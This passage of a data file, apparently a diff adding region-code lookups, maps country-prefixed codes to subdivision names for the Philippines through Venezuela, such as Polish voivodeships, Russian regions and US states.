+"PH_48","Nueva Vizcaya", +"PH_49","Palawan", +"PH_50","Pampanga", +"PH_51","Pangasinan", +"PH_53","Rizal", +"PH_54","Romblon", +"PH_55","Samar", +"PH_56","Maguindanao", +"PH_57","North Cotabato", +"PH_58","Sorsogon", +"PH_59","Southern Leyte", +"PH_60","Sulu", +"PH_61","Surigao del Norte", +"PH_62","Surigao del Sur", +"PH_63","Tarlac", +"PH_64","Zambales", +"PH_65","Zamboanga del Norte", +"PH_66","Zamboanga del Sur", +"PH_67","Northern Samar", +"PH_68","Quirino", +"PH_69","Siquijor", +"PH_70","South Cotabato", +"PH_71","Sultan Kudarat", +"PH_72","Tawitawi", +"PH_A1","Angeles", +"PH_A2","Bacolod", +"PH_A3","Bago", +"PH_A4","Baguio", +"PH_A5","Bais", +"PH_A6","Basilan City", +"PH_A7","Batangas City", +"PH_A8","Butuan", +"PH_A9","Cabanatuan", +"PH_B1","Cadiz", +"PH_B2","Cagayan de Oro", +"PH_B3","Calbayog", +"PH_B4","Caloocan", +"PH_B5","Canlaon", +"PH_B6","Cavite City", +"PH_B7","Cebu City", +"PH_B8","Cotabato", +"PH_B9","Dagupan", +"PH_C1","Danao", +"PH_C2","Dapitan", +"PH_C3","Davao City", +"PH_C4","Dipolog", +"PH_C5","Dumaguete", +"PH_C6","General Santos", +"PH_C7","Gingoog", +"PH_C8","Iligan", +"PH_C9","Iloilo City", +"PH_D1","Iriga", +"PH_D2","La Carlota", +"PH_D3","Laoag", +"PH_D4","Lapu-Lapu", +"PH_D5","Legaspi", +"PH_D6","Lipa", +"PH_D7","Lucena", +"PH_D8","Mandaue", +"PH_D9","Manila", +"PH_E1","Marawi", +"PH_E2","Naga", +"PH_E3","Olongapo", +"PH_E4","Ormoc", +"PH_E5","Oroquieta", +"PH_E6","Ozamis", +"PH_E7","Pagadian", +"PH_E8","Palayan", +"PH_E9","Pasay", +"PH_F1","Puerto Princesa", +"PH_F2","Quezon City", +"PH_F3","Roxas", +"PH_F4","San Carlos", +"PH_F5","San Carlos", +"PH_F6","San Jose", +"PH_F7","San Pablo", +"PH_F8","Silay", +"PH_F9","Surigao", +"PH_G1","Tacloban", +"PH_G2","Tagaytay", +"PH_G3","Tagbilaran", +"PH_G4","Tangub", +"PH_G5","Toledo", +"PH_G6","Trece Martires", +"PH_G7","Zamboanga", +"PH_G8","Aurora", +"PH_H2","Quezon", +"PH_H3","Negros Occidental", +"PK_01","Federally Administered Tribal Areas", +"PK_02","Balochistan", +"PK_03","North-West Frontier", +"PK_04","Punjab", +"PK_05","Sindh", +"PK_06","Azad Kashmir", +"PK_07","Northern Areas", +"PK_08","Islamabad", +"PL_23","Biala Podlaska", +"PL_24","Bialystok", +"PL_25","Bielsko", +"PL_26","Bydgoszcz", +"PL_27","Chelm", +"PL_28","Ciechanow", +"PL_29","Czestochowa", +"PL_30","Elblag", +"PL_31","Gdansk", +"PL_32","Gorzow", +"PL_33","Jelenia Gora", +"PL_34","Kalisz", +"PL_35","Katowice", +"PL_36","Kielce", +"PL_37","Konin", +"PL_38","Koszalin", +"PL_39","Krakow", +"PL_40","Krosno", +"PL_41","Legnica", +"PL_42","Leszno", +"PL_43","Lodz", +"PL_44","Lomza", +"PL_45","Lublin", +"PL_46","Nowy Sacz", +"PL_47","Olsztyn", +"PL_48","Opole", +"PL_49","Ostroleka", +"PL_50","Pila", +"PL_51","Piotrkow", +"PL_52","Plock", +"PL_53","Poznan", +"PL_54","Przemysl", +"PL_55","Radom", +"PL_56","Rzeszow", +"PL_57","Siedlce", +"PL_58","Sieradz", +"PL_59","Skierniewice", +"PL_60","Slupsk", +"PL_61","Suwalki", +"PL_62","Szczecin", +"PL_63","Tarnobrzeg", +"PL_64","Tarnow", +"PL_65","Torun", +"PL_66","Walbrzych", +"PL_67","Warszawa", +"PL_68","Wloclawek", +"PL_69","Wroclaw", +"PL_70","Zamosc", +"PL_71","Zielona Gora", +"PL_72","Dolnoslaskie", +"PL_73","Kujawsko-Pomorskie", +"PL_74","Lodzkie", +"PL_75","Lubelskie", +"PL_76","Lubuskie", +"PL_77","Malopolskie", +"PL_78","Mazowieckie", +"PL_79","Opolskie", +"PL_80","Podkarpackie", +"PL_81","Podlaskie", +"PL_82","Pomorskie", +"PL_83","Slaskie", +"PL_84","Swietokrzyskie", +"PL_85","Warminsko-Mazurskie", +"PL_86","Wielkopolskie", +"PL_87","Zachodniopomorskie", +"PT_02","Aveiro", +"PT_03","Beja", +"PT_04","Braga", +"PT_05","Braganca", +"PT_06","Castelo Branco", +"PT_07","Coimbra", +"PT_08","Evora", +"PT_09","Faro", +"PT_10","Madeira", +"PT_11","Guarda", +"PT_13","Leiria", +"PT_14","Lisboa", +"PT_16","Portalegre", +"PT_17","Porto", +"PT_18","Santarem", +"PT_19","Setubal", +"PT_20","Viana do Castelo", +"PT_21","Vila Real", +"PT_22","Viseu", +"PT_23","Azores", +"PY_01","Alto Parana", +"PY_02","Amambay", +"PY_03","Boqueron", +"PY_04","Caaguazu", +"PY_05","Caazapa", +"PY_06","Central", +"PY_07","Concepcion", +"PY_08","Cordillera", +"PY_10","Guaira", +"PY_11","Itapua", +"PY_12","Misiones", +"PY_13","Neembucu", +"PY_15","Paraguari", +"PY_16","Presidente Hayes", +"PY_17","San Pedro", +"PY_18","Alto Paraguay", +"PY_19","Canindeyu", +"PY_20","Chaco", +"PY_21","Nueva Asuncion", +"QA_01","Ad Dawhah", +"QA_02","Al Ghuwariyah", +"QA_03","Al Jumaliyah", +"QA_04","Al Khawr", +"QA_06","Ar Rayyan", +"QA_08","Madinat ach Shamal", +"QA_09","Umm Salal", +"QA_10","Al Wakrah", +"QA_11","Jariyan al Batnah", +"QA_12","Umm Sa'id", +"RO_01","Alba", +"RO_02","Arad", +"RO_03","Arges", +"RO_04","Bacau", +"RO_05","Bihor", +"RO_06","Bistrita-Nasaud", +"RO_07","Botosani", +"RO_08","Braila", +"RO_09","Brasov", +"RO_10","Bucuresti", +"RO_11","Buzau", +"RO_12","Caras-Severin", +"RO_13","Cluj", +"RO_14","Constanta", +"RO_15","Covasna", +"RO_16","Dambovita", +"RO_17","Dolj", +"RO_18","Galati", +"RO_19","Gorj", +"RO_20","Harghita", +"RO_21","Hunedoara", +"RO_22","Ialomita", +"RO_23","Iasi", +"RO_25","Maramures", +"RO_26","Mehedinti", +"RO_27","Mures", +"RO_28","Neamt", +"RO_29","Olt", +"RO_30","Prahova", +"RO_31","Salaj", +"RO_32","Satu Mare", +"RO_33","Sibiu", +"RO_34","Suceava", +"RO_35","Teleorman", +"RO_36","Timis", +"RO_37","Tulcea", +"RO_38","Vaslui", +"RO_39","Valcea", +"RO_40","Vrancea", +"RO_41","Calarasi", +"RO_42","Giurgiu", +"RO_43","Ilfov", +"RU_01","Adygey", +"RU_02","Aga Buryat", +"RU_03","Gorno-Altay", +"RU_04","Altay", +"RU_05","Amur", +"RU_06","Arkhangel'sk", +"RU_07","Astrakhan'", +"RU_08","Bashkortostan", +"RU_09","Belgorod", +"RU_10","Bryansk", +"RU_11","Buryat", +"RU_12","Chechnya", +"RU_13","Chelyabinsk", +"RU_14","Chita", +"RU_15","Chukot", +"RU_16","Chuvash", +"RU_17","Dagestan", +"RU_18","Evenk", +"RU_19","Ingush", +"RU_20","Irkutsk", +"RU_21","Ivanovo", +"RU_22","Kabardin-Balkar", +"RU_23","Kaliningrad", +"RU_24","Kalmyk", +"RU_25","Kaluga", +"RU_26","Kamchatka", +"RU_27","Karachay-Cherkess", +"RU_28","Karelia", +"RU_29","Kemerovo", +"RU_30","Khabarovsk", +"RU_31","Khakass", +"RU_32","Khanty-Mansiy", +"RU_33","Kirov", +"RU_34","Komi", +"RU_35","Komi-Permyak", +"RU_36","Koryak", +"RU_37","Kostroma", +"RU_38","Krasnodar", +"RU_39","Krasnoyarsk", +"RU_40","Kurgan", +"RU_41","Kursk", +"RU_42","Leningrad", +"RU_43","Lipetsk", +"RU_44","Magadan", +"RU_45","Mariy-El", +"RU_46","Mordovia", +"RU_47","Moskva", +"RU_48","Moscow City", +"RU_49","Murmansk", +"RU_50","Nenets", +"RU_51","Nizhegorod", +"RU_52","Novgorod", +"RU_53","Novosibirsk", +"RU_54","Omsk", +"RU_55","Orenburg", +"RU_56","Orel", +"RU_57","Penza", +"RU_58","Perm'", +"RU_59","Primor'ye", +"RU_60","Pskov", +"RU_61","Rostov", +"RU_62","Ryazan'", +"RU_63","Sakha", +"RU_64","Sakhalin", +"RU_65","Samara", +"RU_66","Saint Petersburg City", +"RU_67","Saratov", +"RU_68","North Ossetia", +"RU_69","Smolensk", +"RU_70","Stavropol'", +"RU_71","Sverdlovsk", +"RU_72","Tambov", +"RU_73","Tatarstan", +"RU_74","Taymyr", +"RU_75","Tomsk", +"RU_76","Tula", +"RU_77","Tver'", +"RU_78","Tyumen'", +"RU_79","Tuva", +"RU_80","Udmurt", +"RU_81","Ul'yanovsk", +"RU_82","Ust-Orda Buryat", +"RU_83","Vladimir", +"RU_84","Volgograd", +"RU_85","Vologda", +"RU_86","Voronezh", +"RU_87","Yamal-Nenets", +"RU_88","Yaroslavl'", +"RU_89","Yevrey", +"RW_01","Butare", +"RW_02","Byumba", +"RW_03","Cyangugu", +"RW_04","Gikongoro", +"RW_05","Gisenyi", +"RW_06","Gitarama", +"RW_07","Kibungo", +"RW_08","Kibuye", +"RW_09","Kigali", +"RW_10","Ruhengeri", +"SA_02","Al Bahah", +"SA_03","Al Jawf", +"SA_05","Al Madinah", +"SA_06","Ash Sharqiyah", +"SA_08","Al Qasim", +"SA_09","Al Qurayyat", +"SA_10","Ar Riyad", +"SA_13","Ha'il", +"SA_14","Makkah", +"SA_15","Al Hudud ash Shamaliyah", +"SA_16","Najran", +"SA_17","Jizan", +"SA_19","Tabuk", +"SB_03","Malaita", +"SB_04","Western", +"SB_05","Central", +"SB_06","Guadalcanal", +"SB_07","Isabel", +"SB_08","Makira", +"SB_09","Temotu", +"SC_01","Anse aux Pins", +"SC_02","Anse Boileau", +"SC_03","Anse Etoile", +"SC_04","Anse Louis", +"SC_05","Anse Royale", +"SC_06","Baie Lazare", +"SC_07","Baie Sainte Anne", +"SC_08","Beau Vallon", +"SC_09","Bel Air", +"SC_10","Bel Ombre", +"SC_11","Cascade", +"SC_12","Glacis", +"SC_13","Grand' Anse", +"SC_14","Grand' Anse", +"SC_15","La Digue", +"SC_16","La Riviere Anglaise", +"SC_17","Mont Buxton", +"SC_18","Mont Fleuri", +"SC_19","Plaisance", +"SC_20","Pointe La Rue", +"SC_21","Port Glaud", +"SC_22","Saint Louis", +"SC_23","Takamaka", +"SD_27","Al Wusta", +"SD_28","Al Istiwa'iyah", +"SD_29","Al Khartum", +"SD_30","Ash Shamaliyah", +"SD_31","Ash Sharqiyah", +"SD_32","Bahr al Ghazal", +"SD_33","Darfur", +"SD_34","Kurdufan", +"SE_01","Alvsborgs Lan", +"SE_02","Blekinge Lan", +"SE_03","Gavleborgs Lan", +"SE_04","Goteborgs och Bohus Lan", +"SE_05","Gotlands Lan", +"SE_06","Hallands Lan", +"SE_07","Jamtlands Lan", +"SE_08","Jonkopings Lan", +"SE_09","Kalmar Lan", +"SE_10","Dalarnas Lan", +"SE_11","Kristianstads Lan", +"SE_12","Kronobergs Lan", +"SE_13","Malmohus Lan", +"SE_14","Norrbottens Lan", +"SE_15","Orebro Lan", +"SE_16","Ostergotlands Lan", +"SE_17","Skaraborgs Lan", +"SE_18","Sodermanlands Lan", +"SE_21","Uppsala Lan", +"SE_22","Varmlands Lan", +"SE_23","Vasterbottens Lan", +"SE_24","Vasternorrlands Lan", +"SE_25","Vastmanlands Lan", +"SE_26","Stockholms Lan", +"SE_27","Skane Lan", +"SE_28","Vastra Gotaland", +"SH_01","Ascension", +"SH_02","Saint Helena", +"SH_03","Tristan da Cunha", +"SI_01","Ajdovscina", +"SI_02","Beltinci", +"SI_03","Bled", +"SI_04","Bohinj", +"SI_05","Borovnica", +"SI_06","Bovec", +"SI_07","Brda", +"SI_08","Brezice", +"SI_09","Brezovica", +"SI_11","Celje", +"SI_12","Cerklje na Gorenjskem", +"SI_13","Cerknica", +"SI_14","Cerkno", +"SI_15","Crensovci", +"SI_16","Crna na Koroskem", +"SI_17","Crnomelj", +"SI_19","Divaca", +"SI_20","Dobrepolje", +"SI_22","Dol pri Ljubljani", +"SI_24","Dornava", +"SI_25","Dravograd", +"SI_26","Duplek", +"SI_27","Gorenja Vas-Poljane", +"SI_28","Gorisnica", +"SI_29","Gornja Radgona", +"SI_30","Gornji Grad", +"SI_31","Gornji Petrovci", +"SI_32","Grosuplje", +"SI_34","Hrastnik", +"SI_35","Hrpelje-Kozina", +"SI_36","Idrija", +"SI_37","Ig", +"SI_38","Ilirska Bistrica", +"SI_39","Ivancna Gorica", +"SI_40","Izola-Isola", +"SI_42","Jursinci", +"SI_44","Kanal", +"SI_45","Kidricevo", +"SI_46","Kobarid", +"SI_47","Kobilje", +"SI_49","Komen", +"SI_50","Koper-Capodistria", +"SI_51","Kozje", +"SI_52","Kranj", +"SI_53","Kranjska Gora", +"SI_54","Krsko", +"SI_55","Kungota", +"SI_57","Lasko", +"SI_61","Ljubljana", +"SI_62","Ljubno", +"SI_64","Logatec", +"SI_66","Loski Potok", +"SI_68","Lukovica", +"SI_71","Medvode", +"SI_72","Menges", +"SI_73","Metlika", +"SI_74","Mezica", +"SI_76","Mislinja", +"SI_77","Moravce", +"SI_78","Moravske Toplice", +"SI_79","Mozirje", +"SI_80","Murska Sobota", +"SI_81","Muta", +"SI_82","Naklo", +"SI_83","Nazarje", +"SI_84","Nova Gorica", +"SI_86","Odranci", +"SI_87","Ormoz", +"SI_88","Osilnica", +"SI_89","Pesnica", +"SI_91","Pivka", +"SI_92","Podcetrtek", +"SI_94","Postojna", +"SI_97","Puconci", +"SI_98","Racam", +"SI_99","Radece", +"SI_A1","Radenci", +"SI_A2","Radlje ob Dravi", +"SI_A3","Radovljica", +"SI_A6","Rogasovci", +"SI_A7","Rogaska Slatina", +"SI_A8","Rogatec", +"SI_B1","Semic", +"SI_B2","Sencur", +"SI_B3","Sentilj", +"SI_B4","Sentjernej", +"SI_B6","Sevnica", +"SI_B7","Sezana", +"SI_B8","Skocjan", +"SI_B9","Skofja Loka", +"SI_C1","Skofljica", +"SI_C2","Slovenj Gradec", +"SI_C4","Slovenske Konjice", +"SI_C5","Smarje pri Jelsah", +"SI_C6","Smartno ob Paki", +"SI_C7","Sostanj", +"SI_C8","Starse", +"SI_C9","Store", +"SI_D1","Sveti Jurij", +"SI_D2","Tolmin", +"SI_D3","Trbovlje", +"SI_D4","Trebnje", +"SI_D5","Trzic", +"SI_D6","Turnisce", +"SI_D7","Velenje", +"SI_D8","Velike Lasce", +"SI_E1","Vipava", +"SI_E2","Vitanje", +"SI_E3","Vodice", +"SI_E5","Vrhnika", +"SI_E6","Vuzenica", +"SI_E7","Zagorje ob Savi", +"SI_E9","Zavrc", +"SI_F1","Zelezniki", +"SI_F2","Ziri", +"SI_F3","Zrece", +"SI_G4","Dobrova-Horjul-Polhov Gradec", +"SI_G7","Domzale", +"SI_H4","Jesenice", +"SI_H6","Kamnik", +"SI_H7","Kocevje", +"SI_I2","Kuzma", +"SI_I3","Lenart", +"SI_I5","Litija", +"SI_I6","Ljutomer", +"SI_I7","Loska Dolina", +"SI_I9","Luce", +"SI_J1","Majsperk", +"SI_J2","Maribor", +"SI_J5","Miren-Kostanjevica", +"SI_J7","Novo Mesto", +"SI_J9","Piran", +"SI_K5","Preddvor", +"SI_K7","Ptuj", +"SI_L1","Ribnica", +"SI_L3","Ruse", +"SI_L7","Sentjur pri Celju", +"SI_L8","Slovenska Bistrica", +"SI_N2","Videm", +"SI_N3","Vojnik", +"SI_N5","Zalec", +"SK_01","Banska Bystrica", +"SK_02","Bratislava", +"SK_03","Kosice", +"SK_04","Nitra", +"SK_05","Presov", +"SK_06","Trencin", +"SK_07","Trnava", +"SK_08","Zilina", +"SL_01","Eastern", +"SL_02","Northern", +"SL_03","Southern", +"SL_04","Western Area", +"SM_01","Acquaviva", +"SM_02","Chiesanuova", +"SM_03","Domagnano", +"SM_04","Faetano", +"SM_05","Fiorentino", +"SM_06","Borgo Maggiore", +"SM_07","San Marino", +"SM_08","Monte Giardino", +"SM_09","Serravalle", +"SN_01","Dakar", +"SN_03","Diourbel", +"SN_04","Saint-Louis", +"SN_05","Tambacounda", +"SN_07","Thies", +"SN_08","Louga", +"SN_09","Fatick", +"SN_10","Kaolack", +"SN_11","Kolda", +"SN_12","Ziguinchor", +"SO_01","Bakool", +"SO_02","Banaadir", +"SO_03","Bari", +"SO_04","Bay", +"SO_05","Galguduud", +"SO_06","Gedo", +"SO_07","Hiiraan", +"SO_08","Jubbada Dhexe", +"SO_09","Jubbada Hoose", +"SO_10","Mudug", +"SO_11","Nugaal", +"SO_12","Sanaag", +"SO_13","Shabeellaha Dhexe", +"SO_14","Shabeellaha Hoose", +"SO_15","Togdheer", +"SO_16","Woqooyi Galbeed", +"SR_10","Brokopondo", +"SR_11","Commewijne", +"SR_12","Coronie", +"SR_13","Marowijne", +"SR_14","Nickerie", +"SR_15","Para", +"SR_16","Paramaribo", +"SR_17","Saramacca", +"SR_18","Sipaliwini", +"SR_19","Wanica", +"ST_01","Principe", +"ST_02","Sao Tome", +"SV_01","Ahuachapan", +"SV_02","Cabanas", +"SV_03","Chalatenango", +"SV_04","Cuscatlan", +"SV_05","La Libertad", +"SV_06","La Paz", +"SV_07","La Union", +"SV_08","Morazan", +"SV_09","San Miguel", +"SV_10","San Salvador", +"SV_11","Santa Ana", +"SV_12","San Vicente", +"SV_13","Sonsonate", +"SV_14","Usulutan", +"SY_01","Al Hasakah", +"SY_02","Al Ladhiqiyah", +"SY_03","Al Qunaytirah", +"SY_04","Ar Raqqah", +"SY_05","As Suwayda'", +"SY_06","Dar", +"SY_07","Dayr az Zawr", +"SY_08","Rif Dimashq", +"SY_09","Halab", +"SY_10","Hamah", +"SY_11","Hims", +"SY_12","Idlib", +"SY_13","Dimashq", +"SY_14","Tartus", +"SZ_01","Hhohho", +"SZ_02","Lubombo", +"SZ_03","Manzini", +"SZ_04","Shiselweni", +"SZ_05","Praslin", +"TD_01","Batha", +"TD_02","Biltine", +"TD_03","Borkou-Ennedi-Tibesti", +"TD_04","Chari-Baguirmi", +"TD_05","Guera", +"TD_06","Kanem", +"TD_07","Lac", +"TD_08","Logone Occidental", +"TD_09","Logone Oriental", +"TD_10","Mayo-Kebbi", +"TD_11","Moyen-Chari", +"TD_12","Ouaddai", +"TD_13","Salamat", +"TD_14","Tandjile", +"TG_01","Amlame", +"TG_02","Aneho", +"TG_03","Atakpame", +"TG_04","Bafilo", +"TG_05","Bassar", +"TG_06","Dapaong", +"TG_07","Kante", +"TG_08","Klouto", +"TG_09","Lama-Kara", +"TG_10","Lome", +"TG_11","Mango", +"TG_12","Niamtougou", +"TG_13","Notse", +"TG_14","Kpagouda", +"TG_15","Badou", +"TG_16","Sotouboua", +"TG_17","Tabligbo", +"TG_18","Tsevie", +"TG_19","Tchamba", +"TG_20","Tchaoudjo", +"TG_21","Vogan", +"TH_01","Mae Hong Son", +"TH_02","Chiang Mai", +"TH_03","Chiang Rai", +"TH_04","Nan", +"TH_05","Lamphun", +"TH_06","Lampang", +"TH_07","Phrae", +"TH_08","Tak", +"TH_09","Sukhothai", +"TH_10","Uttaradit", +"TH_11","Kamphaeng Phet", +"TH_12","Phitsanulok", +"TH_13","Phichit", +"TH_14","Phetchabun", +"TH_15","Uthai Thani", +"TH_16","Nakhon Sawan", +"TH_17","Nong Khai", +"TH_18","Loei", +"TH_19","Udon Thani", +"TH_20","Sakon Nakhon", +"TH_21","Nakhon Phanom", +"TH_22","Khon Kaen", +"TH_23","Kalasin", +"TH_24","Maha Sarakham", +"TH_25","Roi Et", +"TH_26","Chaiyaphum", +"TH_27","Nakhon Ratchasima", +"TH_28","Buriram", +"TH_29","Surin", +"TH_30","Sisaket", +"TH_31","Narathiwat", +"TH_32","Chai Nat", +"TH_33","Sing Buri", +"TH_34","Lop Buri", +"TH_35","Ang Thong", +"TH_36","Phra Nakhon Si Ayutthaya", +"TH_37","Saraburi", +"TH_38","Nonthaburi", +"TH_39","Pathum Thani", +"TH_40","Krung Thep", +"TH_41","Phayao", +"TH_42","Samut Prakan", +"TH_43","Nakhon Nayok", +"TH_44","Chachoengsao", +"TH_45","Prachin Buri", +"TH_46","Chon Buri", +"TH_47","Rayong", +"TH_48","Chanthaburi", +"TH_49","Trat", +"TH_50","Kanchanaburi", +"TH_51","Suphan Buri", +"TH_52","Ratchaburi", +"TH_53","Nakhon Pathom", +"TH_54","Samut Songkhram", +"TH_55","Samut Sakhon", +"TH_56","Phetchaburi", +"TH_57","Prachuap Khiri Khan", +"TH_58","Chumphon", +"TH_59","Ranong", +"TH_60","Surat Thani", +"TH_61","Phangnga", +"TH_62","Phuket", +"TH_63","Krabi", +"TH_64","Nakhon Si Thammarat", +"TH_65","Trang", +"TH_66","Phatthalung", +"TH_67","Satun", +"TH_68","Songkhla", +"TH_69","Pattani", +"TH_70","Yala", +"TH_71","Ubon Ratchathani", +"TH_72","Yasothon", +"TJ_01","Kuhistoni Badakhshon", +"TJ_02","Khatlon", +"TJ_03","Sughd", +"TM_01","Ahal", +"TM_02","Balkan", +"TM_03","Dashoguz", +"TM_04","Lebap", +"TM_05","Mary", +"TN_02","Al Qasrayn", +"TN_03","Al Qayrawan", +"TN_06","Jundubah", +"TN_10","Qafsah", +"TN_14","Kef", +"TN_15","Al Mahdiyah", +"TN_16","Al Munastir", +"TN_17","Bajah", +"TN_18","Banzart", +"TN_19","Nabul", +"TN_22","Silyanah", +"TN_23","Susah", +"TN_27","Bin", +"TN_28","Madanin", +"TN_29","Qabis", +"TN_31","Qibili", +"TN_32","Safaqis", +"TN_33","Sidi Bu Zayd", +"TN_34","Tatawin", +"TN_35","Tawzar", +"TN_36","Tunis", +"TN_37","Zaghwan", +"TN_38","Ariana", +"TN_39","Manouba", +"TO_01","Ha", +"TO_02","Tongatapu", +"TO_03","Vava", +"TR_02","Adiyaman", +"TR_03","Afyon", +"TR_04","Agri", +"TR_05","Amasya", +"TR_07","Antalya", +"TR_08","Artvin", +"TR_09","Aydin", +"TR_10","Balikesir", +"TR_11","Bilecik", +"TR_12","Bingol", +"TR_13","Bitlis", +"TR_14","Bolu", +"TR_15","Burdur", +"TR_16","Bursa", +"TR_17","Canakkale", +"TR_19","Corum", +"TR_20","Denizli", +"TR_21","Diyarbakir", +"TR_22","Edirne", +"TR_23","Elazig", +"TR_24","Erzincan", +"TR_25","Erzurum", +"TR_26","Eskisehir", +"TR_28","Giresun", +"TR_31","Hatay", +"TR_32","Icel", +"TR_33","Isparta", +"TR_34","Istanbul", +"TR_35","Izmir", +"TR_37","Kastamonu", +"TR_38","Kayseri", +"TR_39","Kirklareli", +"TR_40","Kirsehir", +"TR_41","Kocaeli", +"TR_43","Kutahya", +"TR_44","Malatya", +"TR_45","Manisa", +"TR_46","Kahramanmaras", +"TR_48","Mugla", +"TR_49","Mus", +"TR_50","Nevsehir", +"TR_52","Ordu", +"TR_53","Rize", +"TR_54","Sakarya", +"TR_55","Samsun", +"TR_57","Sinop", +"TR_58","Sivas", +"TR_59","Tekirdag", +"TR_60","Tokat", +"TR_61","Trabzon", +"TR_62","Tunceli", +"TR_63","Sanliurfa", +"TR_64","Usak", +"TR_65","Van", +"TR_66","Yozgat", +"TR_68","Ankara", +"TR_69","Gumushane", +"TR_70","Hakkari", +"TR_71","Konya", +"TR_72","Mardin", +"TR_73","Nigde", +"TR_74","Siirt", +"TR_75","Aksaray", +"TR_76","Batman", +"TR_77","Bayburt", +"TR_78","Karaman", +"TR_79","Kirikkale", +"TR_80","Sirnak", +"TR_81","Adana", +"TR_82","Cankiri", +"TR_83","Gaziantep", +"TR_84","Kars", +"TR_85","Zonguldak", +"TR_86","Ardahan", +"TR_87","Bartin", +"TR_88","Igdir", +"TR_89","Karabuk", +"TR_90","Kilis", +"TR_91","Osmaniye", +"TR_92","Yalova", +"TR_93","Duzce", +"TT_01","Arima", +"TT_02","Caroni", +"TT_03","Mayaro", +"TT_04","Nariva", +"TT_05","Port-of-Spain", +"TT_06","Saint Andrew", +"TT_07","Saint David", +"TT_08","Saint George", +"TT_09","Saint Patrick", +"TT_10","San Fernando", +"TT_11","Tobago", +"TT_12","Victoria", +"TW_01","Fu-chien", +"TW_02","Kao-hsiung", +"TW_03","T'ai-pei", +"TW_04","T'ai-wan", +"TZ_01","Arusha", +"TZ_02","Pwani", +"TZ_03","Dodoma", +"TZ_04","Iringa", +"TZ_05","Kigoma", +"TZ_06","Kilimanjaro", +"TZ_07","Lindi", +"TZ_08","Mara", +"TZ_09","Mbeya", +"TZ_10","Morogoro", +"TZ_11","Mtwara", +"TZ_12","Mwanza", +"TZ_13","Pemba North", +"TZ_14","Ruvuma", +"TZ_15","Shinyanga", +"TZ_16","Singida", +"TZ_17","Tabora", +"TZ_18","Tanga", +"TZ_19","Kagera", +"TZ_20","Pemba South", +"TZ_21","Zanzibar Central", +"TZ_22","Zanzibar North", +"TZ_23","Dar es Salaam", +"TZ_24","Rukwa", +"TZ_25","Zanzibar Urban", +"UA_01","Cherkas'ka Oblast'", +"UA_02","Chernihivs'ka Oblast'", +"UA_03","Chernivets'ka Oblast'", +"UA_04","Dnipropetrovs'ka Oblast'", +"UA_05","Donets'ka Oblast'", +"UA_06","Ivano-Frankivs'ka Oblast'", +"UA_07","Kharkivs'ka Oblast'", +"UA_08","Khersons'ka Oblast'", +"UA_09","Khmel'nyts'ka Oblast'", +"UA_10","Kirovohrads'ka Oblast'", +"UA_11","Krym", +"UA_12","Kyyiv", +"UA_13","Kyyivs'ka Oblast'", +"UA_14","Luhans'ka Oblast'", +"UA_15","L'vivs'ka Oblast'", +"UA_16","Mykolayivs'ka Oblast'", +"UA_17","Odes'ka Oblast'", +"UA_18","Poltavs'ka Oblast'", +"UA_19","Rivnens'ka Oblast'", +"UA_20","Sevastopol'", +"UA_21","Sums'ka Oblast'", +"UA_22","Ternopil's'ka Oblast'", +"UA_23","Vinnyts'ka Oblast'", +"UA_24","Volyns'ka Oblast'", +"UA_25","Zakarpats'ka Oblast'", +"UA_26","Zaporiz'ka Oblast'", +"UA_27","Zhytomyrs'ka Oblast'", +"UG_05","Busoga", +"UG_08","Karamoja", +"UG_12","South Buganda", +"UG_18","Central", +"UG_20","Eastern", +"UG_21","Nile", +"UG_22","North Buganda", +"UG_23","Northern", +"UG_24","Southern", +"UG_25","Western", +"UG_65","Adjumani", +"UG_66","Bugiri", +"UG_67","Busia", +"UG_69","Katakwi", +"UG_73","Nakasongola", +"UG_74","Sembabule", +"UG_77","Arua", +"UG_78","Iganga", +"UG_79","Kabarole", +"UG_80","Kaberamaido", +"UG_81","Kamwenge", +"UG_82","Kanungu", +"UG_83","Kayunga", +"UG_84","Kitgum", +"UG_85","Kyenjojo", +"UG_86","Mayuge", +"UG_87","Mbale", +"UG_88","Moroto", +"UG_89","Mpigi", +"UG_90","Mukono", +"UG_91","Nakapiripirit", +"UG_92","Pader", +"UG_93","Rukungiri", +"UG_94","Sironko", +"UG_95","Soroti", +"UG_96","Wakiso", +"UG_97","Yumbe", +"US_01","Alabama", +"US_02","Alaska", +"US_04","Arizona", +"US_05","Arkansas", +"US_06","California", +"US_08","Colorado", +"US_09","Connecticut", +"US_10","Delaware", +"US_11","District of Columbia", +"US_12","Florida", +"US_13","Georgia", +"US_15","Hawaii", +"US_16","Idaho", +"US_17","Illinois", +"US_18","Indiana", +"US_19","Iowa", +"US_20","Kansas", +"US_21","Kentucky", +"US_22","Louisiana", +"US_23","Maine", +"US_24","Maryland", +"US_25","Massachusetts", +"US_26","Michigan", +"US_27","Minnesota", +"US_28","Mississippi", +"US_29","Missouri", +"US_30","Montana", +"US_31","Nebraska", +"US_32","Nevada", +"US_33","New Hampshire", +"US_34","New Jersey", +"US_35","New Mexico", +"US_36","New York", +"US_37","North Carolina", +"US_38","North Dakota", +"US_39","Ohio", +"US_40","Oklahoma", +"US_41","Oregon", +"US_42","Pennyslvania", +"US_44","Rhode Island", +"US_45","South Carolina", +"US_46","South Dakota", +"US_47","Tennessee", +"US_48","Texas", +"US_49","Utah", +"US_50","Vermont", +"US_51","Virginia", +"US_53","Washington", +"US_54","West Virginia", +"US_55","Wisconsin", +"US_56","Wyoming", +"UY_01","Artigas", +"UY_02","Canelones", +"UY_03","Cerro Largo", +"UY_04","Colonia", +"UY_05","Durazno", +"UY_06","Flores", +"UY_07","Florida", +"UY_08","Lavalleja", +"UY_09","Maldonado", +"UY_10","Montevideo", +"UY_11","Paysandu", +"UY_12","Rio Negro", +"UY_13","Rivera", +"UY_14","Rocha", +"UY_15","Salto", +"UY_16","San Jose", +"UY_17","Soriano", +"UY_18","Tacuarembo", +"UY_19","Treinta y Tres", +"UZ_01","Andijon", +"UZ_02","Bukhoro", +"UZ_03","Farghona", +"UZ_04","Jizzakh", +"UZ_05","Khorazm", +"UZ_06","Namangan", +"UZ_07","Nawoiy", +"UZ_08","Qashqadaryo", +"UZ_09","Qoraqalpoghiston", +"UZ_10","Samarqand", +"UZ_11","Sirdaryo", +"UZ_12","Surkhondaryo", +"UZ_13","Toshkent", +"UZ_14","Toshkent", +"VC_01","Charlotte", +"VC_02","Saint Andrew", +"VC_03","Saint David", +"VC_04","Saint George", +"VC_05","Saint Patrick", +"VC_06","Grenadines", +"VE_01","Amazonas", +"VE_02","Anzoategui", +"VE_03","Apure", +"VE_04","Aragua", +"VE_05","Barinas", +"VE_06","Bolivar", +"VE_07","Carabobo", +"VE_08","Cojedes", +"VE_09","Delta Amacuro", 